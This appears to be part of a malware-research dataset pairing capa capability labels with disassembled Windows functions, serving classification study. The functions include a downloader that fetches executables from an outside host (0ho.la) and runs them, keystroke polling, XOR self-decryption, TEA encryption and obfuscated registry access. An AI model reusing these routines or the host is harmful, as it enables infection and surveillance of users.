joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001180
Capabilities:
Copy file
Create process on windows
Get common file path
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa80
mov eax, dword [0x10004004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x414]
push esi
push edi
push eax
push 0x104
call ebx
mov edi, dword [sym.imp.SHLWAPI.dll_PathCombineW]
lea eax, [ebp - 0x414]
push str.zunk3.jpg
push eax
lea eax, [ebp - 0x20c]
push eax
call edi
mov esi, dword [sym.imp.KERNEL32.dll_CopyFileW]
lea eax, [ebp - 0x20c]
push 0
push eax
push str.zunk3.jpg
call esi
lea eax, [ebp - 0x20c]
push eax
push 0x104
call ebx
push str.zunk4.jpg
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call edi
push 0
lea eax, [ebp - 0x414]
push eax
push str.zunk4.jpg
call esi
lea eax, [ebp - 0x20c]
push eax
push 0x104
call ebx
push str.zunk69.jpg
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0x414]
push eax
call edi
push 0
lea eax, [ebp - 0x414]
push eax
push str.zunk69.jpg
call esi
mov edx, str.rkn.exe
mov ecx, str.http:__0ho.la_0x174qiQq36V.log
call fcn.10001040
mov edx, str.dstream.exe
mov ecx, str.http:__0ho.la_3FWQIbOBy57J.log
call fcn.10001040
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x824]
push eax
push 0x104
call ebx
push str.dstream.exe
lea eax, [ebp - 0x824]
push eax
lea eax, [ebp - 0xa2c]
push eax
call edi
xorps xmm0, xmm0
mov dword [ebp - 0xa70], 0x44
movlpd qword [ebp - 0xa6c], xmm0
movlpd qword [ebp - 0xa64], xmm0
movlpd qword [ebp - 0xa5c], xmm0
movlpd qword [ebp - 0xa54], xmm0
movlpd qword [ebp - 0xa4c], xmm0
movlpd qword [ebp - 0xa44], xmm0
movlpd qword [ebp - 0xa3c], xmm0
movlpd qword [ebp - 0xa34], xmm0
movups xmmword [ebp - 0xa80], xmm0
push 0x104
lea eax, [ebp - 0x20c]
push eax
lea eax, [ebp - 0xa2c]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
lea eax, [ebp - 0x20c]
push eax
push str.__s_
lea eax, [ebp - 0x61c]
push 0x208
push eax
call fcn.10001010
add esp, 0x10
lea eax, [ebp - 0xa80]
push eax
lea eax, [ebp - 0xa70]
push eax
push 0
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x61c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x1000136b
push 0xffffffffffffffff
push dword [ebp - 0xa80]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0xa80]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xa7c]
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1000137c
mov esp, ebp
pop ebp
ret
Function at 0x40724e
Capabilities:
Encrypt data using tea

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
and dword [ebp - 0x14], 0
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
lea ecx, [ebp - 0x14]
mov dword [ebp - 0x38], edi
mov eax, dword [edi]
mov dword [ebp - 8], eax
mov eax, dword [edi + 4]
mov dword [ebp - 0x1c], eax
mov eax, dword [esi]
mov dword [ebp - 0x30], eax
mov eax, dword [esi + 4]
mov dword [ebp - 0x34], eax
call fcn.00407192
mov ebx, dword [ebp - 0x14]
mov eax, dword [esi + 8]
add ebx, 0x23f
mov edx, dword [ebp - 0x1c]
mov dword [ebp - 0x28], eax
mov eax, dword [esi + 0xc]
push 0x20
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], eax
pop edi
mov dword [ebp - 0x20], 2
add dword [ebp - 0x20], 3
mov esi, dword [ebp - 8]
mov eax, esi
mov ecx, dword [0x714334]
shl eax, 4
mov dword [ebp - 4], eax
cmp ecx, 0xc
jne 0x4072d9
push 0x401124
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [ebp - 8]
mov eax, dword [ebp - 4]
mov ecx, dword [0x714334]
mov edx, dword [ebp - 0x1c]
add eax, dword [ebp - 0x28]
cmp ecx, 0xfa9
mov dword [ebp - 4], eax
mov eax, dword [0x714378]
mov dword [ebp - 0x24], 0xedeb2e40
cmove eax, dword [ebp - 0x24]
and dword [ebp - 0x24], 0
cmp ecx, 0x3eb
mov dword [0x714378], eax
mov eax, dword [0x714380]
cmove eax, dword [ebp - 0x24]
mov dword [0x714380], eax
lea eax, [ebx + esi]
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 8]
shr eax, 5
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x2c]
add dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
and dword [ebp - 0x18], 0
mov dword [0x71437c], 0xf4ea3dee
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 0x18], eax
mov eax, dword [ebp - 0x18]
xor dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x10]
xor eax, dword [ebp - 0x1c]
sub edx, eax
mov dword [ebp - 0x10], eax
mov eax, edx
mov dword [ebp - 0x1c], edx
shl eax, 4
mov dword [ebp - 0x18], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x30]
add dword [ebp - 4], eax
and dword [ebp - 0xc], 0
mov eax, dword [ebp - 0x14]
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0x18]
nop
add dword [ebp - 0xc], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], eax
mov ecx, dword [ebp - 0x20]
mov eax, edx
shr eax, cl
add eax, dword [ebp - 0x34]
mov dword [ebp - 0x10], eax
xor eax, dword [ebp - 0x24]
xor dword [ebp - 4], eax
mov eax, dword [ebp - 4]
sub dword [ebp - 8], eax
add ebx, 0x61c88647
mov dword [ebp - 0x14], ebx
dec edi
jne 0x40729e
mov edi, dword [ebp - 0x38]
mov eax, dword [ebp - 8]
mov dword [edi], eax
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x4073b8
Capabilities:
Set environment variable

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, edx
shr esi, 3
push edi
mov edi, ecx
test esi, esi
je 0x4073f6
cmp dword [0x714334], 0x959
jne 0x4073e6
push 0
call dword [sym.imp.KERNEL32.dll_AttachConsole]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetEnvironmentVariableA]
mov edx, dword [ebp + 8]
mov ecx, edi
call fcn.0040724e
add edi, 8
dec esi
jne 0x4073c8
pop edi
pop esi
pop ebp
ret 4
Function at 0x410baf
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x435660]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
xor esi, esi
mov eax, dword [ebp + 0xc]
push esi
mov dword [ebp - 0x20], eax
call ebx
mov edi, eax
mov dword [ebp - 0x18], edi
call fcn.0040a7e3
mov dword [ebp - 0x14], eax
cmp dword [0x715114], esi
jne 0x410ca2
push 0x800
push esi
push 0x40511c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
jne 0x410c2f
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x410d82
push esi
push esi
push 0x40511c
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov edi, eax
test edi, edi
je 0x410d82
push 0x405134
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x410d82
push eax
call ebx
push 0x405140
push edi
mov dword [0x715114], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x405150
push edi
mov dword [0x715118], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push 0x405164
push edi
mov dword [0x71511c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x715124], eax
test eax, eax
je 0x410c9f
push 0x405180
push edi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x715120], eax
mov edi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x410cc7
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x410cba
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], esi
je 0x410cdc
push 4
pop eax
jmp 0x410d84
cmp dword [ebp - 0x14], esi
je 0x410cdc
push dword [0x715114]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x410cc1
mov eax, dword [0x715120]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, edi
je 0x410d3a
cmp dword [0x715124], edi
je 0x410d3a
push eax
call ebx
push dword [0x715124]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x410d3a
test eax, eax
je 0x410d3a
call ecx
test eax, eax
je 0x410d2f
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x410d2f
test byte [ebp - 8], 1
jne 0x410d3a
mov edi, dword [ebp + 0x10]
or edi, 0x200000
jmp 0x410d6a
mov eax, dword [0x715118]
cmp eax, edi
je 0x410d67
push eax
call ebx
test eax, eax
je 0x410d67
call eax
mov esi, eax
test esi, esi
je 0x410d67
mov eax, dword [0x71511c]
cmp eax, edi
je 0x410d67
push eax
call ebx
test eax, eax
je 0x410d67
push esi
call eax
mov esi, eax
mov edi, dword [ebp + 0x10]
push dword [0x715114]
call ebx
test eax, eax
je 0x410d82
push edi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push esi
call eax
jmp 0x410d84
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.00409e1e
mov esp, ebp
pop ebp
ret
Function at 0xdcdfac
Capabilities:
Encode data using xor

Disassembly:
jmp 0xdcdfb6
pushal
call 0xdcdfbc
pop ebp
sub ebp, 0x10
sub ebp, 0x9cdfac
jmp 0xdcdfd2
mov eax, 0x9cdfac
add eax, ebp
add eax, 0x4c
mov ecx, 0x5ce
mov edx, 0xeedf6e18
xor byte [eax], dl
inc eax
dec ecx
jne 0xdcdfe9
jmp 0xdcdffc
xchg ebx, eax
aad 0x93
xchg ecx, eax
and al, 0x18
sbb byte [eax], bl
cdq
fchs
sbb byte [eax], bl
sbb byte [ebx], bl
aad 0xa0
push ds
sbb byte [eax], bl
sbb byte [edx + 0x18181830], ah
out dx, eax
cli
sbb edx, eax
xchg ebx, eax
cdq
adc al, 0x18
sbb byte [eax], bl
sbb ebx, ebp
dec eax
dec eax
jo 0xdce08a
xor byte [edx], bh
sbb byte [eax + 0x28], dh
scasd eax, dword es:[edi]
bound ebx, qword [eax]
sbb dword [esp + edi], esi
jo 0xdce043
insd dword es:[edi], dx
salc
cmp al, dh
sbb eax, 0xf1181818
sub al, 0x18
sbb byte [eax], bl
xchg ebp, eax
jl 0xdce07f
in al, 0x91
xor al, 0x3c
dec esp
inc ebp
xchg ebx, eax
popfd
adc byte [eax], bl
sbb byte [eax], bl
xchg ebx, eax
lea edx, [eax + ebx]
sbb byte [eax], bl
xchg ebx, eax
xchg ebp, eax
or byte [eax], bl
sbb byte [eax], bl
fyl2x
sbb ch, byte [ecx]
sbb bl, byte [ebx + 0x17511cda]
popfd
in al, dx
out 0xe7, eax
out 0x93, eax
xor al, 0x3c
xchg ebp, eax
jl 0xdce0ac
sbb al, 0xda
adc al, 0x18
xchg ebx, eax
xchg esp, eax
cmp al, 0x1c
sbb byte [eax], bl
sbb byte [eax + 0x64], dh
xor byte [edx], bh
sbb byte [eax + 0x28], dh
jo 0xdce0aa
scasd eax, dword es:[edi]
bound ebx, qword [eax]
sbb dword [esp + edi], esi
dec ecx
invalid
sbb eax, 0xf1181818
push ebp
sbb bl, byte [eax]
sbb byte [ebp - 0x6e1bc384], dl
xor al, 0x3c
xchg ebp, eax
je 0xdce0d9
sbb bh, ah
insd dword es:[edi], dx
adc al, 0xe7
insd dword es:[edi], dx
adc al, dh
pushal
sbb byte [eax], bl
sbb byte [ebx + 0x181810a5], dl
movsd dword es:[edi], dword [esi]
adc byte [eax], bl
sbb byte [eax], bl
cdq
jmp 0x7833dd1b
sbb byte [eax], bl
sbb byte [ecx + 0x56fc66e9], bl
ja 0xdce04f
jmp 0x7833dd21
sbb byte [eax], bl
sbb byte [edi], dl
nop
push eax
sbb byte [eax], bl
sbb byte [esi - 0x6d], bh
xchg ebx, eax
add al, 0x21
cwde
jecxz 0xdce0c6
pop ss
pushfd
add bl, byte [eax]
sbb byte [eax], bl
cwde
jecxz 0xdce0d0
sbb byte [eax], bl
sbb byte [eax - 0x63e80e1d], bl
pop ss
pushfd
or dword [eax], ebx
sbb byte [eax], bl
jle 0xdce080
jecxz 0xdce0d0
cmp eax, 0x180d9c17
sbb byte [eax], bl
pop ecx
int1
aam 0xe7
out 0xe7, eax
xor dword [ecx + 0x19], edx
wait
fstp dword [0xf11cf09b]
movsd dword es:[edi], dword [esi]
out 0xe7, eax
out 0x31, eax
dec esp
and dword [edx], ebx
wait
fstp dword [esi]
wait
sbb al, 0x9b
invalid
Function at 0x40c20d
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40c21c
pop dword [ebp - 0x4c]
mov eax, 0x40c21c
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3b202
push 0
mov eax, 0xe85c787d
add eax, 0x17e5d99b
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x3d61
xor esi, esi
add esi, eax
mov edx, 0x435400
add edx, dword [ebp - 0x4c]
mov ebx, 0x1dc02c3c
sub dword [ebp - 0x44], 0x60a846e3
mov edi, dword [edx]
mov dword [ebp - 0x28], 0xa051a130
sub edi, ebx
xor dword [ebp - 0x40], 0xf94b1d94
mov dword [esi], edi
xor dword [ebp - 0x24], 0x5bee41ef
add esi, 4
add edx, 0xf3531a45
sub edx, 0xf3531a41
loop 0x40c266
add eax, 0xe857
mov ebx, eax
add eax, 0x22be9190
sub eax, 0x22be918b
mov ecx, 0x78b3c42c
sub ecx, 0x7873c42c
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0x40cb70
Capabilities:
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x570bb5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x240
push esi
push edi
push 0x1c
mov edi, ecx
mov dword [ebp - 0x20], 0
xorps xmm0, xmm0
mov dword [ebp - 0x1c], 0
push str.UW1kcnVfcGNaTkE_bm5Rcm1wYw
lea ecx, [ebp - 0x30]
movups xmmword [ebp - 0x30], xmm0
call fcn.0042a280
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x48]
push 0x10
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0
push str.TkE_bm5Rcm1wYw
movups xmmword [ebp - 0x48], xmm0
mov dword [ebp - 0x34], 0
call fcn.0042a280
push 0x104
lea eax, [ebp - 0x250]
mov byte [ebp - 4], 1
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea eax, [ebp - 0x18]
push eax
push 0xf003f
push 0
sub esp, 0x18
lea eax, [ebp - 0x30]
mov ecx, esp
push eax
call fcn.0042ab70
lea ecx, [ebp - 0x14]
call fcn.00441940
add esp, 0x18
push dword [eax]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, dword [ebp - 0x14]
mov esi, eax
add edx, 0xfffffff0
or ecx, 0xffffffff
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x40cc5b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
test esi, esi
jne 0x40cc8c
mov esi, dword [ebx + 8]
lea eax, [ebp - 0x14]
push 4
push eax
push 4
push 0
push 0x587784
push dword [ebp - 0x18]
mov dword [ebp - 0x14], esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 0x18]
mov dword [edi + 0x110], esi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0x34]
cmp ecx, 8
jb 0x40ccc2
mov edx, dword [ebp - 0x48]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40ccb8
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cd0d
push ecx
push edx
call fcn.00545b41
add esp, 8
mov ecx, dword [ebp - 0x1c]
cmp ecx, 8
jb 0x40ccf8
mov edx, dword [ebp - 0x30]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x40ccee
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40cd0d
push ecx
push edx
call fcn.00545b41
add esp, 8
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 4
call fcn.0054ab2f
int3
Function at 0x40f670
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x570f45
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x28
mov eax, dword [ecx + 0x2c]
push ebx
push esi
push edi
mov dword [ebp - 0x30], eax
mov eax, dword [ecx + 0x30]
push 0x17
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x2c], eax
call dword [sym.imp.USER32.dll_GetSystemMetrics]
xor ebx, ebx
mov dword [ebp - 4], 0
test eax, eax
setne bl
inc ebx
mov dword [ebp - 0x14], ebx
call fcn.0042b730
mov ecx, eax
test ecx, ecx
je 0x40f7f9
mov eax, dword [ecx]
call dword [eax + 0xc]
add eax, 0x10
mov dword [ebp - 0x10], eax
mov dword [ebp - 4], 2
call fcn.0042b730
mov ecx, eax
test ecx, ecx
je 0x40f803
mov eax, dword [ecx]
call dword [eax + 0xc]
lea esi, [eax + 0x10]
mov dword [ebp - 0x20], esi
mov esi, dword [ebp - 0x18]
mov edi, 0xc8
mov byte [ebp - 4], 3
mov ecx, edi
mov eax, dword [esi + 0x50]
cmp edi, 0xc8
cmovne edi, ecx
cmp dword [eax + 8], 0
je 0x40f789
push ebx
call dword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
jns 0x40f789
cmp byte [0x5b3d3b], 0
je 0x40f789
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_GetPhysicalCursorPos]
push dword [ebp - 0x24]
push dword [ebp - 0x28]
call dword [sym.imp.USER32.dll_WindowFromPoint]
lea ecx, [ebp - 0x1c]
push ecx
push eax
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
mov ecx, dword [ebp - 0x1c]
lea edx, [ebp - 0x10]
call fcn.0045f920
test al, al
je 0x40f789
push ecx
mov ecx, dword [ebp - 0x10]
mov ebx, esp
mov dword [ebp - 0x18], ebx
lea ecx, [ecx - 0x10]
call fcn.0042b440
add eax, 0x10
mov ecx, esi
mov dword [ebx], eax
call fcn.00415560
mov ebx, dword [ebp - 0x14]
test al, al
je 0x40f789
cmp edi, 0x1b7740
mov eax, 0x1b7740
cmovne edi, eax
push edi
push 0
lea eax, [ebp - 0x30]
push eax
push 2
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
test eax, eax
je 0x40f7b1
mov ecx, 0xc8
cmp eax, 1
jne 0x40f700
mov edi, ecx
jmp 0x40f700
mov edx, dword [ebp - 0x20]
or esi, 0xffffffff
add edx, 0xfffffff0
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x40f7ce
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x10]
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x40f7e6
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0xc]
xor eax, eax
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret
push 0x80004005
call fcn.0042bca0
push 0x80004005
call fcn.0042bca0
int3
Function at 0x412bb0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x571555
push eax
mov dword fs:[0], esp
sub esp, 0x10
cmp byte [0x5b9330], 0
push esi
push edi
mov edi, ecx
jne 0x412c2f
mov esi, dword [ebp + 8]
push 8
mov byte [0x5b9330], 1
call fcn.00545c27
add esp, 4
mov dword [ebp + 8], eax
mov dword [eax], edi
mov dword [eax + 4], esi
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0
push ecx
push 0
push eax
push 0x421a90
push 0
push 0
call fcn.00551d78
add esp, 0x18
mov dword [ebp - 0x18], eax
test eax, eax
je 0x412c46
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 1
call fcn.0042a3a0
cmp dword [ebp - 0x14], 0
jne 0x412c41
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
call fcn.0054c6be
push 6
mov dword [ebp - 0x14], 0
call fcn.0052eec5
int3
Function at 0x413890
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0xc
push esi
mov esi, ecx
push 0
mov eax, dword [esi]
mov eax, dword [eax]
push dword [eax + 4]
mov byte [eax + 0x98], 1
call dword [sym.imp.USER32.dll_ShowWindow]
lea ecx, [esp + 8]
mov dword [esp + 8], 0x3a98
mov dword [esp + 0xc], 0
call fcn.0042a4d0
mov eax, dword [esi]
mov eax, dword [eax]
mov byte [eax + 0x98], 0
mov ecx, dword [esi]
mov ecx, dword [ecx]
call fcn.0051cc10
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x41c2b0
Capabilities:
Query or enumerate registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5725d5
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x48
push esi
push edi
push 0x1c
mov dword [ebp - 0x28], ecx
xorps xmm0, xmm0
push str.UW1kcnVfcGNaTkE_bm5Rcm1wYw
lea ecx, [ebp - 0x58]
mov dword [ebp - 0x48], 0
movups xmmword [ebp - 0x58], xmm0
mov dword [ebp - 0x44], 0
call fcn.0042a280
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x40]
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x30], 0
push str.cXJfcnNx
movups xmmword [ebp - 0x40], xmm0
mov dword [ebp - 0x2c], 0
call fcn.0042a280
lea eax, [ebp - 0x18]
mov byte [ebp - 4], 1
push eax
push 0xf003f
push 0
sub esp, 0x18
mov dword [ebp - 0x14], 0
lea eax, [ebp - 0x58]
mov dword [ebp - 0x24], 4
mov ecx, esp
mov esi, 3
push eax
call fcn.0042ab70
lea ecx, [ebp - 0x1c]
call fcn.00441940
add esp, 0x18
push dword [eax]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
mov edx, dword [ebp - 0x1c]
or edi, 0xffffffff
mov dword [ebp - 0x20], eax
add edx, 0xfffffff0
mov ecx, edi
lock xadd dword [edx + 0xc], ecx
dec ecx
test ecx, ecx
jg 0x41c39e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x20]
test eax, eax
jne 0x41c406
sub esp, 0x18
lea eax, [ebp - 0x40]
mov ecx, esp
push eax
call fcn.0042ab70
lea ecx, [ebp - 0x20]
call fcn.00441940
add esp, 0x18
lea ecx, [ebp - 0x24]
push ecx
lea ecx, [ebp - 0x14]
push ecx
push 0
push 0
push dword [eax]
push dword [ebp - 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov edx, dword [ebp - 0x20]
mov dword [ebp - 0x1c], eax
add edx, 0xfffffff0
lock xadd dword [edx + 0xc], edi
dec edi
test edi, edi
jg 0x41c3f0
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov eax, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x14]
test eax, eax
push dword [ebp - 0x18]
mov ecx, 3
cmovne esi, ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 0x2c]
mov dword [eax + 0x110], esi
cmp ecx, 8
jb 0x41c445
mov edx, dword [ebp - 0x40]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41c43b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c490
push ecx
push edx
call fcn.00545b41
add esp, 8
mov ecx, dword [ebp - 0x44]
cmp ecx, 8
jb 0x41c47b
mov edx, dword [ebp - 0x58]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x41c471
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x41c490
push ecx
push edx
call fcn.00545b41
add esp, 8
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.0054ab2f
int3
Function at 0x421580
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x572a35
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push esi
mov esi, dword [ecx + 4]
push 4
call fcn.00545c27
mov dword [ebp - 0x10], eax
mov dword [eax], esi
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], 0
push ecx
push 0
push eax
push 0x421a60
push 0
push 0
call fcn.00551d78
add esp, 0x1c
mov dword [ebp - 0x18], eax
pop esi
test eax, eax
je 0x4215fa
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 1
call fcn.0042a3a0
cmp dword [ebp - 0x14], 0
jne 0x4215f5
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
call fcn.0054c6be
push 6
mov dword [ebp - 0x14], 0
call fcn.0052eec5
int3

Function at 0x426390
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x572e2f
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.0052f337
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 6
test eax, eax
je 0x42641b
push eax
push esi
call fcn.0052f179
mov ecx, dword [ebp - 0xc]
add esp, 8
mov eax, esi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.0052ea19
int3

Function at 0x42b8a0
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
mov edi, edx
mov ebx, ecx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x42b8f8
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x42b8f8
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_SizeofResource]
mov ecx, dword [esp + 0x10]
lea edx, [esi + eax]
and ecx, 0xf
jbe 0x42b8e6
cmp esi, edx
jae 0x42b8f8
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
sub ecx, 1
jne 0x42b8d4
cmp esi, edx
jae 0x42b8f8
xor eax, eax
cmp word [esi], ax
pop edi
cmove esi, eax
mov eax, esi
pop esi
pop ebx
ret
pop edi
pop esi
xor eax, eax
pop ebx
ret